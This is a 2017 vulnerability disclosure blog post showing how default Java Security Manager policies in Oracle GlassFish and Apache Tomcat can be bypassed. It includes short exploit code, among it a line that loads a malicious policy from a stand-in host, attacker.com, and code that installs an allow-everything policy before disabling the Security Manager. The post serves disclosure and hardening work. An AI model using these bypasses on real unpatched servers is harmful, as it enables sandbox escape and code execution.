[alvaro\_munoz](https://community.hpe.com/t5/user/viewprofilepage/user-id/1399173) on ‎04-05-2017 12:31 PM

During our [BlackHat talk](https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE-wp.pdf) last summer, we presented a subset of the exploits we identified, based upon hundreds (200+) of identified Remote Code Execution (RCE) deserialization gadgets, related to CORBA stubs. Since over 50 of these gadgets are present in the Java Runtime library, they are always available in the classpath for the attacker to use and do not require any third-party library. Additionally, there were over 200 gadgets present in an application server’s classpath. These gadgets require a Security Manager to be installed in order to achieve remote code execution, which means that in order to use these gadgets, the attacker needs to be able to bypass its policy.

In order to understand the relevance and impact of these RCE gadgets, we decided to take a look at default security policies available for Servlet containers and application servers. We audited their Security Manager policies looking for ways of running unprivileged code with full permissions. At that time, we quickly found several bypasses which proved how relevant the RCE gadgets were. In this blog post we will share the details on how we bypassed the Security Manager Policy of two of these Application Servers: Tomcat and GlassFish which have released patches for the bypasses.

Security Manager 101

Java Security Manager enforces a Security Policy which defines what permissions are allowed for different codebases (origin of the code). It can read the policy in different ways:

1. From policy.url.<n> properties from <home>/lib/security/java.security file. Eg:policy.url.1=file:${java.home}/lib/security/java.policy
2. From custom Policy file specified with -Djava.security.policy=someURL
3. Programmatically with java.security.Policy.setPolicy()

As we mentioned above, permissions are based on the codebase (location from where the class is loaded. Eg: folder, URL, etc.). There are privileged codebases that have all, or extensive, permissions. For example in /lib/security/java.security:

grant codeBase "file:${{java.ext.dirs}}/\*" {  
       permission java.security.AllPermission;  
};

The above default configuration gives AllPermission to classes loaded from the JRE ext folder.

When code needs to run a privileged operation, it calls any of the Security Manager check methods which in turn analyze the whole calling stack to ensure that all classes in the stack have permissions to perform the operation. If not, the check will throw a Security Exception.

The Java Security Architecture (JSA) defines ways for unprivileged code to perform privileged operations usingAccessController.doPrivileged(). [Java documentation](https://docs.oracle.com/javase/7/docs/api/java/security/AccessController.html)) explains how it works:

*“A caller can be marked as being "privileged" (see doPrivileged and below). When making access control decisions, the checkPermission method stops checking if it reaches a caller that was marked as "privileged" via a doPrivileged call without a context argument (see below for information about a context argument). If that caller's domain has the specified permission, no further checking is done and checkPermission returns quietly, indicating that the requested access is allowed. If that domain does not have the specified permission, an exception is thrown, as usual.”*

When analyzing a call stack, the Security Manager will only check those stack frames between the check permission call and the first doPrivileged call it finds on the call stack. This means that no matter where the code is loaded from, if there is a call todoPrivileged from a trusted class, and from that frame on all call stack frames belong to trusted classes, the permission check will succeed.

Defining a Security Manager policy for big applications is a very complex task. In order to allow desired functionality, it is easy to grant too many privileges to the code that can be abused to perform these types of bypasses. Let's see how it can be done with real-world policies.

Oracle GlassFish

Glassfish default security policy (not enabled by default) is defined in: /glassfish4/glassfish/domains/domain1/config/server.policy

(see:  <https://docs.oracle.com/cd/E18930_01/html/821-2418/beabx.html>)

We will not reproduce the whole policy here but only the relevant parts.

The most obvious attack vector is abusing the following policy element:

grant {  
    permission java.io.FilePermission  "<<ALL FILES>>", "read,write";   
}

Which will allow any class to write new classes in the privileged codebases. However, the policy file contains some security warnings about this policy element:

// The permission FilePermission "<<ALL FILES>>", "read,write"  
// allows all applications to read and write any file in the filesystem.  
// It should be changed based on real deployment needs. If you know your  
// applications just need to read/write a few directories consider removing  
// this permission and adding grants indicating those specific directories.  
// against the codebase of your application(s).

We will not take this route since we hope this particular permission will not be that broad in a real deployment.

In order to get AllPermission, we will abuse three different policy items:

1. grant {permission java.util.PropertyPermission "\*", "read,write"; }
2. grant {permission java.net.SocketPermission    "\*", "connect"; }
3. grant codeBase "file:${com.sun.aas.derbyRoot}/lib/-" { permission java.security.AllPermission; };

We will use (1) for changing java.security.policy system property to a URL pointing to our own malicious policy (allows everything). Because of (2), the connection to grab our malicious policy will succeed since we are allowed to connect to any host on any port.

Abusing these policy items allows untrusted code to change the system policy, but we still need to force the Security Manager to reload the new policy by calling java.security.Policy.refresh().

This is where (3) comes into play. Inspecting the derby classes which are granted AllPermission we find an interesting one:org.apache.derby.catalog.SystemProcedures which contains an interesting method:SYSCS\_RELOAD\_SECURITY\_POLICY. From [Derby documentation](https://db.apache.org/derby/docs/10.8/ref/rrefreloadpolicyproc.html):

*“The SYSCS\_UTIL.SYSCS\_RELOAD\_SECURITY\_POLICY system procedure reloads the security policy, allowing you to fine-tune your Java security on the fly.”*

Let's take a look at the [source code](https://github.com/apache/derby/blob/trunk/java/engine/org/apache/derby/catalog/SystemProcedures.java#L1936):

try {  
    AccessController.doPrivileged(  
        new PrivilegedAction<Object>() {  
            public Object run() {  
                Policy.getPolicy().refresh();  
                return null;  
            }  
        }  
    );  
} catch (SecurityException se) {  
    throw Util.policyNotReloaded(se);  
}

Since the call to java.security.Policy.refresh() is invoked from within a privileged block of a privileged class, the Security Manager will only check the call stack frames of the privileged derby class and allow the refresh operation, effectively setting our malicious policy.

A simple exploit will look like:

System.setProperty("java.security.policy", "<http://attacker.com/evil_perm>");

org.apache.derby.catalog.SystemProcedures.SYSCS\_RELOAD\_SECURITY\_POLICY();

System.setSecurityManager(null);

Where our malicious policy will be:

grant { permission java.security.AllPermission; };

CVE: CVE-2017-3250

* [Oracle January 2017 CPU](http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html)

Supported versions affected:

* Oracle Glassfish Server 3.1.2
* Oracle Glassfish Server 3.0.1
* Oracle Glassfish Server 2.1.1

Apache Tomcat 6,7,8 and 9

Default policy is in conf/catalina.policy (see:

<https://tomcat.apache.org/tomcat-9.0-doc/security-manager-howto.html>)

In this case we will use two policy items:

* grant codeBase "file:${catalina.home}/lib/-" { permission java.security.AllPermission; };
* grant { permission java.lang.RuntimePermission "accessClassInPackage.org.apache.jasper.runtime"; }

We will, again, look for a privileged block on any of the AllPermission We will be using "org.apache.jasper.runtime.JspRuntimeLibrary" and its "introspecthelper(Object, String, String, ServletRequest, String, boolean)" method:

public static void introspecthelper(Object bean, String prop, String value, ServletRequest request, String param, boolean ignoreMethodNF) throws JasperException {  
    if (Constants.IS\_SECURITY\_ENABLED) {  
        try {  
            PrivilegedIntrospectHelper dp = new PrivilegedIntrospectHelper(bean, prop, value, request, param, ignoreMethodNF);  
            AccessController.doPrivileged(dp);  
        } catch (PrivilegedActionException pe) {  
            Exception e = pe.getException();  
            throw (JasperException) e;  
        }  
    } else {  
        internalIntrospecthelper(bean, prop, value, request, param, ignoreMethodNF);  
    }  
}

org.apache.jasper.Constants.IS\_SECURITY\_ENABLED is defined as:  
public static final boolean IS\_SECURITY\_ENABLED = System.getSecurityManager() != null;

A new PrivilegedIntrospectHelper will be executed on a privileged block. This block will callinternalIntrospecthelper(bean,prop,value,request,param,ignoreMethodNF) which will allow us to do any of the following actions (see [source code](https://svn.apache.org/repos/asf/tomcat/tc7.0.x/tags/TOMCAT_7_0_3/java/org/apache/jasper/runtime/JspRuntimeLibrary.java) for details):

* Invoke any setter
* Call any static method that takes one argument (we use any arbitrary method as property setter)

As a proof of concept, we took the second route. The method internalIntrospecthelper() invokes our method with our Bean class as the first parameter and this class is unprivileged but Java will omit this parameter in case of static methods. So we were interested in static methods from privileged code that allowed us to disable the Security Manager. The first candidate wasSystem.setSecurityManager(null) but we are not allowed to pass null as an argument. We could have tried to implement our own Security Manager and set it, but we don’t have CreateSecurityManager permission. What we can do is create our own Policy and set it up calling java.security.Policy.setPolicy(). We only need a Policy where we will override "implies" method and always return "true".

The exploit does the following:

* Creates our own Policy which allows us to run any action.

            public static class MyPolicy extends Policy {  
                 public MyPolicy(){}  
                 public boolean implies(ProtectionDomain paramProtectionDomain, Permission paramPermission){  
                     return true;  
                 }  
            }

* Creates new Bean and BeanInfo classes (eg: MyBean and MyBeanInfo) and define a property withjava.security.Policy.setPolicy() as setter and any name (eg: payload).  If the setter takes a non-primitive, non-string argument, we will also need to provide a PropertyEditor which knows how to go from String to the expected type (in this case, a Policy object)

          public void setAsText(String text) throws IllegalArgumentException {  
              value = new MyPolicy();  
          }

With the example names mentioned above, the exploit looks like this:  
JspRuntimeLibrary.introspecthelper(new MyBean(), "payload", "anystr", null, null, true);  
System.setSecurityManager(null);

CVE: [CVE-2016-5018](http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-5018)

* <http://www.securityfocus.com/bid/93942>

Supported affected versions:

* [Apache Tomcat 9.0.0.M1 to 9.0.0.M9](https://tomcat.apache.org/security-9.html)
* [Apache Tomcat 8.5.0 to 8.5.4, 8.0.0.RC1 to 8.0.36](https://tomcat.apache.org/security-8.html)
* [Apache Tomcat 7.0.0 to 7.0.70](https://tomcat.apache.org/security-7.html)
* [Apache Tomcat 6.0.0 to 6.0.45](https://tomcat.apache.org/security-6.html)
* Oracle Glassfish Server 3.1.2 ([Oracle January 2017 CPU](http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html))
* Oracle Glassfish Server 3.0.1 ([Oracle January 2017 CPU](http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html))
* Oracle Glassfish Server 2.1.1 ([Oracle January 2017 CPU](http://www.oracle.com/technetwork/security-advisory/cpujan2017-2881727.html))

Fix: [Remove the gadget from the library](https://svn.apache.org/viewvc/tomcat/tc7.0.x/trunk/java/org/apache/jasper/runtime/JspRuntimeLibrary.java?r1=1754902&r2=1754901&pathrev=1754902)

Conclusions

Security Manager is used for many purposes such as sandboxing plugin architectures and protecting applications against attacks. However, configuring a meaningful and secure policy for a large application is a complex task. In this post, we reviewed several ways of bypassing these policies by looking for privileged code that may be used to disable the sandbox. Bypassing is accomplished by looking for privileged gadgets, but bear in mind that there may be other ways in which user-controlled code can be granted high permissions.

As we demonstrated, this is not a difficult task when the policy grants AllPermission to a large number of classes. We strongly recommend applying the principle of least privilege and grant as few permissions as possible to your code and libraries. When possible, reduce the number of classes in your application classpath by reducing the number of unnecessary dependencies.

Stay Secure!

Alexandr Mirosh  & Alvaro Muñoz